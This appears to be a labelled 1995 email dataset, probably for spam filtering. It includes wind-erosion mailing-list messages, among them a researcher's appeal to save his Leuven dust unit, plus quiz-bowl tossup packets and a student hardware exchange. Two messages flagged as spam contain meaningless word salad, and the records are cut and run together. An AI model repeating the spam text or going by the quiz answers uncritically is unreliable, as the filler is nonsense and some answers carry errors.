worked 15 years on establishing >>>this research, starting from almost zero: it is my life-work. Now, after 15 >>>years, the scientific results of my work finally become available, and I >>>think that you can agree with me that the unit is very productive. Why >>>cutting down a unit that worked 15 years to come to maturity and has now >>>arrived in its most productive stage? To date, 22 research units all over the >>>world asked for co-operation - and yet our academic authority cannot be >>>convinced. >>> >>>I would like to inform if you could help me to save my life-work. Could it be >>>possible for you to write a letter to our university (see address below) in >>>which you mention the significance of the work done in Leuven (with respect >>>to aeolian dust processes)? If this letter could be signed by different >>>collegues of yours who are involved in aeolian (or other) research, it would >>>be of significant help to me. >>> >>>I know, of course, that this response to your letter is quite uncommon: you >>>asked for information, and I respond by asking your help! I hope you will not >>>blame me for this. I only try to prevent our university from blowing up my >>>life-work and firing me after 15 years of hard work. >>> >>>I already told earlier in this letter that, if I will be able to stay in >>>Leuven, I will be very happy to share research initiatives and research >>>plans. Could you provide me with some more information about the specific >>>topics you are interested in? >>> >>>Thank you for your help. We do not know each other personally, but I very >>>much appreciate your letter. >>> >>>Sincerely, >>> >>>Dirk Goossens >>> >>> >>> >>>address of our university: To the Rector >>> Katholieke Universiteit Leuven >>> Universiteitshal >>> Naamsestraat 22 >>> B-3000 Leuven >>> Belgium >>> >>> >>> >> >> >>Dr. John Gillies >>Energy and Environmental Engineering Center >>Desert Research Institute >>5625 Fox Ave. >>P.O. Box 60220 >>Reno, NV >>89506-0220 ------------------------------------------------------------------ ------------------------------------------------------------------ Jeff Lee Dept. of Economics and Geography Texas Tech University Lubbock, Texas 79409-1014 USA Phone: 1-806-742-3838 Fax: 1-806-742-1137 e-mail: adgjl@ttacs.ttu.edu or j.lee@ttu.edu ------------------------------------------------------------------ ------------------------------------------------------------------ ",0,0 adgjl@ttacs1.ttu.edu,Multiple recipients of list ,"Fri, 07 Jul 1995 14:38:08 -0500",Re: important news,"wind erosion list members: Sorry, I thought that the message you just received from me was only going to one person, not the whole list. One of these days I'll learn how to do this stuff. Jeff Lee >I saw this note too. I'll try to write a letter next week. > >J > >>>Dear wind erosion and aeolian research colleagues, >>> >>>I recently sent an e-mail to Dr. Dirk Goosens at the Katholic University of >>>Belgium at Leuven to open a dialogue on the dust work they have been doing >>>there. I received in reply this shocking letter. I believe we all >>>recognize the important work that has been done by Dr. Goossens and his >>>Israeli colleagues. The loss of this research unit will be a blow to the >>>aeolian research community. Please read Dr. Goossens letter and follow up >>>on his need for collegial support in his fight to maintain his position as >>>well as his research unit. >>> >>>Sincerely, >>> >>>John Gillies >>> >>> >>>>Dear Dr. Gillies, >>>> >>>> >>>>Thank you for your message. As you know we have established here in Leuven >>>>an >>>>aeolian dust unit focussing on theoretical as well as on experimental >>>>research (wind tunnel in Leuven + field sites in Israel). I welcome very >>>>much >>>>your request to share research initiatives and research plans, but here is >>>>the problem: our university recently decided, after a calculation of the >>>>number of students in each faculty, to stop supporting the aeolian dust >>>>unit. >>>>This means that, if the decision is confirmed in August, I will have to look >>>>for a new job in September and the aeolian facilities in Leuven will be >>>>degraded to industrial archaeology. I have worked 15 years on establishing >>>>this research, starting from almost zero: it is my life-work. Now, after 15 >>>>years, the scientific results of my work finally become available, and I >>>>think that you can agree with me that the unit is very productive. Why >>>>cutting down a unit that worked 15 years to come to maturity and has now >>>>arrived in its most productive stage? To date, 22 research units all over >>>>the >>>>world asked for co-operation - and yet our academic authority cannot be >>>>convinced. >>>> >>>>I would like to inform if you could help me to save my life-work. Could it >>>>be >>>>possible for you to write a letter to our university (see address below) in >>>>which you mention the significance of the work done in Leuven (with respect >>>>to aeolian dust processes)? If this letter could be signed by different >>>>collegues of yours who are involved in aeolian (or other) research, it would >>>>be of significant help to me. >>>> >>>>I know, of course, that this response to your letter is quite uncommon: you >>>>asked for information, and I respond by asking your help! I hope you will >>>>not >>>>blame me for this. I only try to prevent our university from blowing up my >>>>life-work and firing me after 15 years of hard work. >>>> >>>>I already told earlier in this letter that, if I will be able to stay in >>>>Leuven, I will be very happy to share research initiatives and research >>>>plans. Could you provide me with some more information about the specific >>>>topics you are interested in? >>>> >>>>Thank you for your help. We do not know each other personally, but I very >>>>much appreciate your letter. >>>> >>>>Sincerely, >>>> >>>>Dirk Goossens >>>> >>>> >>>> >>>>address of our university: To the Rector >>>> Katholieke Universiteit Leuven >>>> Universiteitshal >>>> Naamsestraat 22 >>>> B-3000 Leuven >>>> Belgium >>>> >>>> >>>> >>> >>> >>>Dr. John Gillies >>>Energy and Environmental Engineering Center >>>Desert Research Institute >>>5625 Fox Ave. >>>P.O. Box 60220 >>>Reno, NV >>>89506-0220 > >------------------------------------------------------------------ >------------------------------------------------------------------ > Jeff Lee > Dept. of Economics and Geography > Texas Tech University > Lubbock, Texas 79409-1014 > USA > Phone: 1-806-742-3838 > Fax: 1-806-742-1137 > e-mail: adgjl@ttacs.ttu.edu or j.lee@ttu.edu >------------------------------------------------------------------ >------------------------------------------------------------------ ------------------------------------------------------------------ ------------------------------------------------------------------ Jeff Lee Dept. of Economics and Geography Texas Tech University Lubbock, Texas 79409-1014 USA Phone: 1-806-742-3838 Fax: 1-806-742-1137 e-mail: adgjl@ttacs.ttu.edu or j.lee@ttu.edu ------------------------------------------------------------------ ------------------------------------------------------------------ ",0,0 ,,,,"[165.123.26.32]) by futures.wharton.upenn.edu (8.6.12/8.6.12) with ESMTP id OAA13618 for ; Wed, 12 Jul 1995 14:39:29 -0400 Received: (from steiming@localhost) by mail1.sas.upenn.edu (8.6.11/SAS 8.03) id OAA06241 for rosenb54@futures.wharton; Wed, 12 Jul 1995 14:39:28 -0400 Received: from kelvin.aspentec.com (kelvin.aspentec.com [192.135.137.19]) by orion.sas.upenn.edu (8.6.11/SAS 8.03) with SMTP id PAA06439 for ; Wed, 5 Jul 1995 15:08:16 -0400 Received: from soldier.aspentec.com by kelvin.aspentec.com (MX V4.1 AXP) with SMTP; Wed, 05 Jul 1995 14:38:34 EDT Posted-Date: Wed, 5 Jul 1995 15:08:16 -0400 Received-Date: Wed, 5 Jul 1995 15:08:16 -0400 Date: Wed, 5 Jul 1995 14:34:19 -0400 (EDT) From: Chris Goheen To: steiming@sas.upenn.edu Subject: Tossups for Philly Experiment II Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Length: 10881 Sender: steiming@sas.upenn.edu Status: O Frank, Here are the tossups for team Glory Daze, consisting of Dan Fuller, Lorin Burte, Victor Rosenberg and me (Chris Goheen). Please send a reply when you get this so I can be sure I got your e-mail address right. I'll send the bonuses in an e-mail immediately to follow. Chris Tossups for Philly Experiment II - Glory Daze (Dan Fuller, Lorin Burte, Victor Rosenberg, Chris Goheen) 1) In 1938 he was elected to the US House of Representatives, where he served until he entered the Senate in 1949 after winning an election in which he ended the domination of ""Boss"" Edward H. Crump in Tennessee politics. He won national attention as Chairman of the Senate crime investigating committee and his own book on the results of that investigation, ""Crime in America"" was published in 1951. FTP, name this Senator who was Adlai Stevenson's running mate in the 1956 Presidential election. Ans: (Carey) Estes _Kefauver_ 2) One of the six simple machines developed in ancient times, it has been defined simply as an inclined plane wrapped in a spiral around a shaft. For ten points, what is this well-known machine? Ans: Screw 3) The father of Methuselah, like Noah he was said to have ""walked with God"". Like Elijah, he was translated directly to heaven. FTP, name this biblical figure. Ans: Enoch 4) Consider the following words: the first name of model MacPherson; Sergeant Snorkel's dog; the title of a Karel Capek work; the last name of tennis player Monica; when darkness occurs in Arthur Koestler's book; a Vladimir Nabokov novel. For ten points, what linguistic distinction do these words share? Ans: _Palindromes_ (Elle, Otto, R.U.R., Seles, noon, Ada) 5) Born around 1767, he joined the confederation organized by Tecumsah and participated in many battles during the War of 1812. In 1831 he organized a new Indian confederation and attempted to invade his old homeland in Illinois and Iowa. FTP, name this Sauk chief who was captured in 1832 and for whom a brief war was named. Ans: _Black Hawk_ 6) Their name derives from the German word meaning ""sworn companions"". FTP, by what name were French protestants known starting in the 16th century? Ans: _Huguenots_ 7) Born in 1705, he studied under and sang in the operas of Niccolo Porpora. After winning fame in France and Italy, in 1737 he became the official singer to Philip V of Spain. His sole duty, for which he received an astronomical fee, was to sing the same four songs each night to the king. FTP, name this Italian soprano, the best-known of the castrati. Ans: _Farinelli_ (a.k.a. Carlo _Broschi_) 8) In 1995 they stunned the rugby world by winning the World Cup 15-12 over the powerhouse New Zealand All-Blacks. Although all but one player on the team was white, people of all races joined in support of their Springboks in their return to international competition after years of banishment due to their country's former racial policies. FTP, name the country. Ans: _South Africa_ 9) He wrote thousands of pages of philosophical musings, believing that the voice of evolution was speaking through him. In 1984 he retired from his own laboratory and in 1986 cofounded Immune Response Corporation to search for an AIDS vaccine. He promised to be among the first uninfected people to receive this vaccine, just as he had with an experimental influenza vaccine in 1942 and his polio vaccine in 1952. FTP, name this medical pioneer whose killed polio vaccine was approved for use in 1955. Ans: Jonas _Salk_ 10) Aldous Huxley wrote the anti-utopian novel ""Brave New World"", but for a quick ten points, from which Shakespearean play did he take the title? Ans: _""The Tempest""_ 11) He currently holds the three most important leadership positions in China: head of the Communist Party, President of China, and Commander-in-Chief of the armed forces. FTP, name Deng Xiaoping's [dung jow-pings] hand-picked successor. Ans: _Jiang_ Zemin 12) The daughter of Tyndareus and Leda, she and her lover Aegisthus killed her husband Agamemnon after he returned home victorious from the Trojan War. FTP, name this mythological figure who was herself slain by her son Orestes. Ans: Clytemnestra 13) These organic compounds help give fruits and flowers their distinctive odors and are formed by the reaction between an alcohol and an acid. FTP, what is this class of compounds with the general formula R-(C=O)-O- R' {read: RCOOR-prime}, having two aryl or alkyl groups linked by a carbon double-bonded to one oxygen atom and single-bonded to another? Ans: esters 14) Soon after its inception, it developed an instant image problem, prompting the town to forbid its use for the dumping of ""entrails of beast or fowl or grabage or carrion or dead dogs or cats or any other dead beast or stinking thing."" For decades it was used for public executions and when a subway was built beneath it in the late 19th century the bones of more than 900 human bodies were disinterred. FTP, name this site which was purchased from William Balckstone in 1634 for grazing cattle and training soldiers. Ans: the _Boston Common_ 15) The following words contain the same syllable: Grant's first vice-president, the youngest player ever elected to the Baseball Hall of Fame, and the site of the recent G-7 summit. FTP, what is the common last syllable? Ans: _fax_ (Schuyler Colfax, Sandy Koufax, Halifax) 16) The palace in which this site is located took its name from an early hospital built on the site before the Norman Conquest and named for a Bishop of Jerusalem. On this spot within the palace he built in 1533, King Henry VIII received foreign ambassadors. FTP, name this site near Buckingham Palace to which ambassadors to the United Kingdom are accredited. Ans: The _Court of St. James_ 17) His second work, published posthumously, is entitled ""The Neon Bible"". He was encouraged by Walker Percy before publishing his first novel ""A Confederacy of Dunces"". FTP, name this southern author. Ans: John Kennedy _Toole_ 18) Elton John, Madonna, Eric Clapton, The Who, Sting, Mick Jagger, Paul McCartney, Phil Collins, Tina Turner and a reunion of the three remaining members of Led Zeppelin. FTP, at July 13, 1985 event in Philadelphia and London did these and dozens of other musical acts perform? Ans: _Live Aid_ 19) Founded around 529 AD by St. Benedict of Nursia, it soon became one of the greatest centers of learning in the medieval Christian world. It was destroyed by the Lombards in 581, the Arabs in 883 and an earthquake in 1349. After restoration in the 17th century, it was again destroyed by a concentrated Allied aerial bombardment in 1944. FTP, name this monastery in central Italy which was again rebuilt after World War II. Ans: _Monte Cassino_ 20) There are about 9 million people of this ethnicity in the world, although fewer than half of them live in their namesake country. In the United States they are concentrated in Fresno and Los Angeles and major cities in the Northeast. In 1915 the Ottoman Empire began a campaign of genocide and deportation against them. FTP, name these people. Ans: Armenians 21) This astronomical property ranges in value from zero, when no light is reflected, to one, when all light is reflected. FTP, what is this ratio of the light reflected by a satellite or planet to the light it receives called? Ans: albedo 22) The following terms contain the same adjective: A former name for Tonga; the last name of Johnny in ""On the Waterfront""; the title of a 1956 movie about Quakers; and the type of ghost Casper is. For ten points, what word describes all of them? Ans: friendly 23) Born in Austria, he received his doctoral degree in 1938 from the University of Vienna. He was briefly imprisoned in concentration camps during the Nazi occupation of Austria, but was able to emigrate to the U.S. in 1939. After publishing an influential essay on the psychology of concentration camp prisoners, he taught for 29 years at the University of Chicago where he specialized in autism. FTP, name this psychologist who died in 1990 and whose works include ""The Informed Heart"" and ""The Uses of Enchantment"". Ans: Bruno _Bettelheim_ 24) Once an actor under the direction of D.W. Griffith, this Canadian- born film producer and director founded his own production company in 1912. His films featured slapstick comedy and it was in his films that the yound Charlie Chaplin first appeared. His autobiography was aptly entitled ""King of Comedy"". FTP, name the founder of the Keystone Company. Ans: Mack _Sennett_ 25) A massive and craggy building near the heart of Berlin, its burning in 1933 helped propel Adolf Hitler to absolute power. FTP, name this building which was wrapped by Christo in 1995. Ans: the _Reichstag_ 26) Born in Brooklyn, he came to prominence in the early 1960's by playing rock and roll on Mexican station XERF-AM, which broadcast at 250,000 watts, more than 5 times the power allowed on US stations at the time. Although his voice was already well known, it was in 1973 that most Americans first saw the face that went with his howling voice when he played himself in George Lucas' ""American Graffiti"". FTP, name this DJ who died in 1995 at age 57 of a heart attack. Ans: _Wolfman Jack_ (a.k.a. Robert _Smith_) 27) It was proposed at a 1754 meeting organized by the British government where delegates from New York, Pennsylvania, Maryland, the New England colonies and the Six Nations of the Iroquois confederacy met in an attempt to work out an orderly system for relations between the colonists and the Indians. Formulated by Ben Franklin, it proposed the naming of a President- General chosen by the king and a council elected by the people of the colonies. FTP, what was the name of this plan, after the site of the meeting? Ans: the _Albany_ Plan 28) Harry Morgan - the actor - played such roles as Colonel Potter on ""MASH"" and Officer Gannon on ""Dragnet"". However, Harry Morgan is also the name of the main character in a 1937 Ernest Hemingway novel who turns to smuggling and bootlegging to make a living during the Depression. FTP, in which Hemingway novel does Harry Morgan die saying ""One man alone ain't got...no chance""? Ans: _""To Have and Have Not""_",0,0 ,,,,"[165.123.26.33]) by futures.wharton.upenn.edu (8.6.12/8.6.12) with ESMTP id OAA06720 for ; Fri, 14 Jul 1995 14:29:07 -0400 Received: (from steiming@localhost) by mail2.sas.upenn.edu (8.6.11/SAS 8.03) id OAA02607 for rosenb54@futures.wharton; Fri, 14 Jul 1995 14:29:07 -0400 Received: from anvil.gatech.edu (root@anvil.gatech.edu [130.207.165.41]) by orion.sas.upenn.edu (8.6.11/SAS 8.03) with ESMTP id NAA19857 for ; Fri, 14 Jul 1995 13:49:52 -0400 Received: from acmex.gatech.edu (gt1367b@acmex.gatech.edu [130.207.165.22]) by anvil.gatech.edu (8.6.12/8.6.12) with ESMTP id NAA29914 for ; Fri, 14 Jul 1995 13:49:50 -0400 Received: (gt1367b@localhost) by acmex.gatech.edu (8.6.12/8.6.12) id NAA19209 for steiming@sas.upenn.edu; Fri, 14 Jul 1995 13:49:24 -0400 Posted-Date: Fri, 14 Jul 1995 13:49:52 -0400 Received-Date: Fri, 14 Jul 1995 13:49:52 -0400 From: gt1367b@prism.gatech.edu (!#!) Message-Id: <199507141749.NAA19209@acmex.gatech.edu> Subject: TU sPhilly round from Jim Dendy (fwd) To: steiming@sas.upenn.edu (Frank J. Steiminger) Date: Fri, 14 Jul 1995 13:49:23 -0400 (EDT) X-Mailer: ELM [version 2.4 PL24] Content-Type: text Content-Length: 14250 Sender: steiming@sas.upenn.edu Status: RO Forwarded message: >From MrPbody@aol.com Fri Jul 14 11:23 EDT 1995 From: MrPbody@aol.com Date: Fri, 14 Jul 1995 11:22:27 -0400 Message-Id: <950714112224_32641433@aol.com> To: gt1367b@prism.gatech.edu Subject: TU sPhilly round from Jim Dendy Content-Type: text Content-Length: 13966 August 1995 Philadelphia Experiment Questions submitted by Jim Dendy 1. It features Kehaar, a black-headed gull who is wise in the ways of men. Despite his strong instincts to return to the ""Peeg Vater"" he remains loyal to those who have befriended him, despite his condescending attitude toward ""land-lubbers"". For 10 points, identify this book in which Kehaar is befriended by Bigwig and who aids the rabbits in their battles. Answer: Watership Down 2. In its upper reaches, the rivers known as Mouhoun, Nazinon, and Nakanbe are sometimes referred to as the Black, Red, and White Branches of this river. The lower portion is formed at Yeji, where the Black and White come together, passing through its namesake lake to Ada on the Gulf of Guinea. For 10 point,s what is this river of Ghana that formed part of the former name of Burkina Faso. Answer: Volta 3. In this presidential election, the Republican platform called for the limitation of armaments, reduced taxes and supported the Fordney McCumber tariff while the Democratic one denounced the KKK, endorsed the League of Nations, and called for a competitive tariff. For 10 points, identify this election year in which Charles W. Bryan, Burton K. Wheeler, and Charles G. Dawes served as the running mates of John W. Davis, Robert M. LaFollette, and Calvin Coolidge respectively. Answer: 1924 4. In 1929 he took a simple X frame of steel bars added supporting leather straps and back and seat cushions in leather to create his ""Barcelona chair"" for the German pavilion at the 1929 Barcelona Exhibition. His residential work culminated in the Farnsworth House near Fox River, Illinois, where he worked from 1938 to 1958 as director of architecture at the Illinois Institute of Technology. For 10 points, identify this director of the Bauhaus from 1930 to 1933 whose most famous work is his collaboration with Philip Johnson on the Seagram building. Answer: Ludwig Mies van der Rohe 5. The underlying reasoning was a law of the duchy of Brabant that provided for the transfer of property of children born of the first marriage of the deceased. In this instance, it was applied to the Spanish Netherlands, which it was argued should not go to Charles II of Spain but to Marie Therese, Queen of France. For 10 points what this dispute fought in 1667 and 1668 over Louis XIV's claim of an unpaid dowry. Answer: War of the Devolution 6. Like Geiger, he lent his name to a radiation counter that utilizes the effect he discovered to detect particles. His work began in 1932, when he began to study the luminescence given off by certain liquids when irradiated by gamma rays and in 1934 discovered the phenomenon which bears his name. For 10 points, identify this Russian physicist who discovered the bluish light emitted when charged atomic particles move through a liquid with a velocity greater than that of light in the medium. Answer: Pavel Alekseyevich Cherenkov 7. He died on Mount Hor and was succeeded by his son Eleazar. Like his brother, he was forbidden to enter the promised land because of his lack of faith exhibited by his building the Golden Calf while Joshua and Moses were on Mt. Sinai receiving the Ten Commandments. For 10 points, identify this minister and spokesman for Moses. Answer: Aaron 8. Its drive for independence was inspired by the July Revolution in France that put Louis Phillipe on the throne. In August, 1830 an uprising began in which a unique coalition of Catholics and liberals proclaimed its independence which was accepted by the Great Powers in the Treaty of London, over Dutch protests. For 10 points, what is this nation whose first king was Leopold of Saxe-Coburg-Gotha. Answer: Belgium 9. Of the annual production of this compound in the US, about 40 per cent comes from soapmaking while the remaining is derived from allyl alcohol or propylene. With formula C3H8O3, it a colorless, odorless, sweet-tasting alcohol. For 10 points what is this compound that when esterized with three fatty acids is the basis of all simple fats and oils? Answer: glycerol 10. He fought in the Mexican-American war and in the civil war and was an unsuccessful presidential candidate in 1867 and 1871. After each defeat, he led an unsuccessful military uprising, ostensibly to terminate the power and influence of foreign capitalists but in reality to further his personal ambition for power. For 10 points, identify this man who in 1876 overthrew the government of Sebastien Lerdo de Tejada and the following year was installed as president of Mexico. Answer: Porfirio Diaz 11. He is both clean and polite, as you would know if you ever shook his hand after a sneeze and suggests that if we used electric stun-guns on fools, it might soon become an acceptable practice. He has proposed the abolition of the outdated practice of writing thank-you notes, and frequently insults his pathetic loser owner. For 10 points, identify this former king of Elbonia who recently took over his owner's company for a full thirty dollars in a comic strip by Scott Adams. Answer: Dogbert prompt for more info on Scott Adams early buzz 12. A chronic acute gastrointestinal tract condition results when its salts are consumed and a chronic form, often from vapor inhalation causes brain changes with tremor, ataxia, and social withdrawal. Poisoning with this metal can occur from fish living in contaminated water or from cereals treated with antifungal agents. For 10 points, identify this element with atomic number 80 whose symbol derives from the Latin for ""liquid silver"". Answer: mercury 13. It ends with the title character, having been fatally wounded in a fight and picked up by the coast guard gasping ""One man alone ain't got... no chance."" Its central character, a native of Key West, is forced by the Depression to turn to smuggling, bootlegging and finally to helping four Cuban revolutionaries to escape. For 10 points, identify this 1937 novel centered on Harry Morgan by Ernest Hemingway. Answer: To Have and Have Not 14. He was born at St. Germaine-en-Laye in 1862 and educated at the Paris Conservatoire, which he entered at age 10. As private musician to Nadejda von Meck, the patron of Tchaikovsky, he traveled to Moscow where he met many of the Five. For 10 points, identify this winner of the 1884 Prix de rome for the cantata, ""The Prodigal Son"" better known for his ""La Mer"" and ""Prelude to the Afternoon of a Fawn"". Answer: Claude Debussy 15. It was here that ""... twice five miles of fertile ground/with walls and towers were girdled round"" and that ""through caverns measureless to man/Down to a sunless sea"", ""Alph the sacred river ran"". For 10 points, identify this realm which according to Samuel Taylor Coleridge saw Kublai Khan declare ""a stately pleasure dome"". Answer: Xanadu 16. In 1942, he was posthumously restored to the service with the rank of major general, having resigned in January, 1926 after being found guilty of conduct prejudicial to good order and military discipline. For 10 points, identify this US Army Air Service colonel whose insistence that capital ships were vulnerable to air attack led to his court martial in 1925. Answer: William ""Billy"" Mitchell 17. He was so troublesome in his youth that he was sent away from home and entrusted to the care of Vingnir and Hlora. Upon attaining adulthood, he was admitted to Asgard and given the realm Thrudheim, where he built the most spacious hall, the five hundred forty room Bilskirnir. For 10 points, identify this Norse god who in childhood amazed the gods by playfully tossing about 10 heavy bales of bearskins. Answer: Thor 18. The British astronomer James Bradley used its brightest star, Etamin to discover the aberration of light in 1729. It is situated between the Big Dipper and Little Dipper just below the celestial pole. For 10 points, identify this constellation that shares its name with a legendary lawgiver of Athens. Answer: Draco 19. He wrote one detective story, The House Mystery and several whimsical plays that were popular in the 1920s including The Dover Road and Mr. Pym Passes By. For 10 points, identify this British author, born in London in 1882, who is best remembered for his children's works such as Now We Are Six and When We Were Very Young, which contain his best known character, Winnie the Pooh. Answer: A.A. Milne 20. He compared Woodrow Wilson to Odysseus, Clemenceau to Pericles and stated that ""Lenin was right. There is no surer means of overturning the existing basis of society than to debauch the currency"" all in his The Economic Consequences of Peace. For 10 points, identify this British economist best known for his 1936 book The General Theory of Employment, Interest and Money. Answer: John Maynard Keynes 21. He was accused of receiving a 20 talent bribe from Harpalus, Alexander the Great's governor of Babylon, who had deserted taking the king's treasure with him; an act which led to his eventual exile from Athens. Being pursued by the forces of Antipater, regent of Macedon, he fled to the island of Calauria where he committed suicide as Antipater's forces arrived. FTP, who was this man who overcame a lisp by practicing declamation with a mouth full of pebbles orating the Phillipics against Philip of Macedon? Answer: Demosthenes 22. Found naturally in infinitesimal quantities, this radioactive substance can be produced by irradiating lithium and has a half life of 12.5 years. FTP, identify this substance, useful in atomic weapons, with an atomic weight of three, which is the heaviest isotope of hydrogen. Answer: tritium 23. Arising from an experience the founder was studying called the phi phenomenon in which a forefinger held about six inches before the nose seems to move when the eyes are alternately closed, it was a self-conscious school in systematic psychology. FTP, identify this school founded in 1912 by Max Wertheimer with later development by Kurt Koffka and Wolfgang Koehler whose name was derived from the German for ""form"" or ""shape."" Answer: gestalt 24. Praefanda is his collection of bawdy and obscene passages from Latin authors. His lecture ""The Name and Nature of Poetry"" illuminates the process of poetic creation. And his best known work is a series of 63 nostalgic lyrics largely in ballad form and often addressed to a farm boy or soldier. FTP, identify this British poet and scholar, author of A Shropshire Lad. Answer: A(lfred) E(dward) Housman 25. A lawyer and War of 1812 veteran, this Mercersburg, PA native compiled more than 40 years of public service as a legislator and diplomat. He is known now for several mistaken prognostications: his belief that the Dred Scott decision would ""speedily and finally"" end conflict over the expansion of slavery, and his deathbed prediction that ""history will vindicate my memory."" FTP, identify this man, nominated for president largely because he was in England during the Kansas-Nebraska debate, who served as the 15th US president. Answer: James Buchanan 26. It comes from the Latin word for a small reward, and the first were made by monks in southern Europe as a reward for children who learned their prayers; thus, its shape represented the crossed arms of a child praying. FTP, identify this German biscuit, brittle and twisted, with a glazed, salted surface. Answer: pretzel 27. In this man's muddy briefcase which he carried with him in the car during the car accident which killed him was a scribbled, handwritten manuscript of the first chapters of his autobiography, which has recently been published as The First Man. FTP, identify this Algerian, Nobel Prize winning author of The Stranger. Answer: Albert Camus 28. Leonardo da Vinci is well known for his scientific pursuits as well as his artistic ones, but he was not the only Renaissance painter who could be considered a Renaissance man. In 1522 this artist designed a flying machine for use in war and two years later designed the first German manual on geometry. FTP, identify this engraver who created The Four Apostles, and Knight, Death, and the Devil. Answer: Albrecht Durer 29. Light was thought of as a mechanical wave in the late 19th century, but such a wave had to have a medium through which to be propagated. FTP, identify the hypothetical medium postulated by physicists of this time period in order to explain this mechanical motion of light, a theory which was disproved by the Michelson-Morley experiment. Answer: (lumeniferous) ether 30. Charles Ryder becomes an architechtural painter and marries the sister of an Oxford friend, but he later falls in love with Julia, the married sister of his other Oxford friend, Sebastian Marchmain. They have an affair and plan to get divorces, but Julia's Catholic faith claims her at last, and she gives up Charles. FTP, this happens in what novel by Evelyn Waugh? Answer: Brideshead Revisited 31. On his way home from Troy, he was shipwrecked but managed to swim to shore. Clinging to a rock, he boasted that he was a man whom the sea could not drown. Angered by his words, Poseidon split the rock and he was swept away. For 10 points, identify this chieftain of Locris who angered Athena by dragging Cassandra from here altar after the fall of Troy. Answer: Ajax the Lesser 32. The publicist Gusave Auguste de Beaumont de la Bonnineire, he went abroad in 1831 and upon his return home in 1832, they published ""The Penitentiary System in the United States and Its Application in France"". For 10 points, identify this man who on his return began writing his most famous work, Democracy in America. Answer: Alexis de Toqueville",0,0 Morgan ,josie@zingg.weru.ksu.edu,"Mon, 17 Jul 1995 13:01:41 -0500",Body Mass v/s Body Fat,"be parasol ! subterfuge and diehard it's maddox but moiseyev ",1,0 Christi Nance ,lynette@zingg.weru.ksu.edu,"Wed, 19 Jul 1995 13:02:18 -0500",More die in the United States of too much food than too little,"the enunciate see dividend be here may bursitis it eerily ",1,0 Ted Zobeck ,Multiple recipients of list ,"Tue, 25 Jul 1995 11:57:26 -0500",WEPP/WEPS Symposium,"A symposium on WEPP (Water Erosion Prediction Project) and WEPS (Wind Erosion Prediction System) is scheduled for August 9-11, 1995 at the Savery Hotel and Spa in Des Moines, Iowa. The symposium is sponsored by the Soil and Water Conservation Society. Oral and poster presentations will cover the science involved in the models, testing and evaluation, and use and application of the models. For more information please mail or fax to: WEPP/WEPS Soil and Water Conservation Society 7515 Northeast Ankeny Road Ankeny, Iowa 50021-9764 Telephone (515) 289-2331 or 1-800-THE SOIL FAX: 515-289-1227 ",0,0 Ted Zobeck ,Multiple recipients of list ,"Thu, 27 Jul 1995 07:17:48 -0500",Re: SWCS,"I recently sent a message advertising the upcoming WEPP/WEPS symposium sponsored by the SWCS. I just got this information on the SWCS and thought you might be interested. Ted ************************************ The Soil and Water Conservation Society is a nonprofit, international organization that advocates the protection, enhancement, and wise use of soil, water, and related natural resources. It was created in 1945, so we're celebrating 50 years at our annual meeting in August. The international headquarters are in Ankeny, Iowa, USA. The SWCS is involved in many aspects of conservation, including the politics, education, and promotion of conservation. We publish the scientific journal, _Journal of Soil and Water Conservation_ and many books for adults and younger readers. We now have information available via the World Wide Web at http://www.netins.net/showcase/swcs/ including membership information and the _Journal_ online. Also, we have an article just out about soil and erosion research at Ansai, China. You can reach it through the URL above. It has many good photographs available. You can reach the SWCS general office at SWCS@netins.net or the _Journal_ staff at SWCSJSWC@netins.net ",0,1 ,,,,"Jul 1995 23:20:33 -0500 From: Edward Chang Message-Id: <199507280420.XAA11442@ux4.cso.uiuc.edu> Subject: Re: Dual-port buffer To: dm12937@coewl.cen.uiuc.edu (David Lloyd Morgan) Date: Thu, 27 Jul 1995 23:20:32 -0500 (CDT) In-Reply-To: <199507272127.AA22911@glhpx5.cen.uiuc.edu> from ""David Lloyd Morgan"" at Jul 27, 95 04:27:15 pm Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1200 Status: RO > > We're going to need a number of dual-port buffers within the CamBot > design. I don't want to back down and use VRAM (which already has > 2 ports) because we have a ton of big, fast SRAM in Sigarch inventory. > So, we need to figure out a scheme to make virtual dual-port buffers. > What are some ways to do this? If we get really desparate, we can > buy FIFO (first-in, first-out) memories for video buffers, but that > would be too easy/expensive/small. > > > > DAvid Without giving it too much thought, we could simply use some glue logic to make one SRAM look like a FIFO and stick that and another SRAM together and make it look just like a VRAM. We can make it look just like a VRAM just like I learned in 311 :) Or if we have something specific in mind, like limited capabilities or color translations, we can do that also. It shouldn't be to hard. ed -- ********************************************************************************Edward Chang * University of Illinois echang@ux4.cso.uiuc.edu * Computer Engineering WWW Home Page: http://www.cen.uiuc.edu/~ec6412 ********************************************************************************",0,1 Tom Gill ,Multiple recipients of list ,"Tue, 01 Aug 1995 18:38:27 -0500",Session on Desert Dust at Fall 1995 AGU Meeting," The following special session at the Fall 1995 meeting of the American Geophysical Union, December 11-15, San Francisco, should be of interest to scientists studying wind erosion. Abstract submissions are invited and welcomed. For complete information, please see the July 11, 1995 issue of EOS, Transactions of the American Geophysical Union. Special Session A09- Desert Dust Emission of dust from desert sources is a signal of nonequilibrium surface change. Dust generated by wind erosion is thus one of many components of global change. Desert dust may be transported thousands of kilometers before deposition, where it may become and important part of the soil. The study of source mechanisms of desert dust emissions is a component of desertification science. The study of desert dust includes geological studies of the origin of dust parent material, aerodynamic/micrometeorological studies of source mechanisms, soil studies of vulnerability to wind erosion, transport/synoptic scale meteorological studies, atmospheric electricity associated with dust emission, remote sensing studies, and modelling studies. Since desert dust is emitted from almost all continents, it is a truly global/international problem. Convenors: Dale A. Gillette, Air Resources Laboratory (ASMD), NOAA MD-81, Research Triangle Park, NC 27711: tel. (919) 541-1883, email DQV%nccibm1.bitnet@vtbit.cc.vt.edu Thomas E. Gill, Air Quality Group, Crocker Nuclear Laboratory, University of California, Davis, CA 95616: tel. (916) 752-4673, email tegill@ucdavis.edu Note: Abstracts are due to the convenor(s) by September 1, 1995, and to the AGU by September 6, 1995. Please see EOS July 11, 1995 issue for complete abstract submittal and meeting information. ",0,0 ,,,,"[165.123.26.32]) by futures.wharton.upenn.edu (8.6.12/8.6.12) with ESMTP id MAA18127 for ; Thu, 3 Aug 1995 12:25:48 -0400 Received: (from steiming@localhost) by mail1.sas.upenn.edu (8.6.11/SAS 8.03) id MAA29799 for rosenb54@futures.wharton; Thu, 3 Aug 1995 12:25:48 -0400 Received: from math.mit.edu (MATH.MIT.EDU 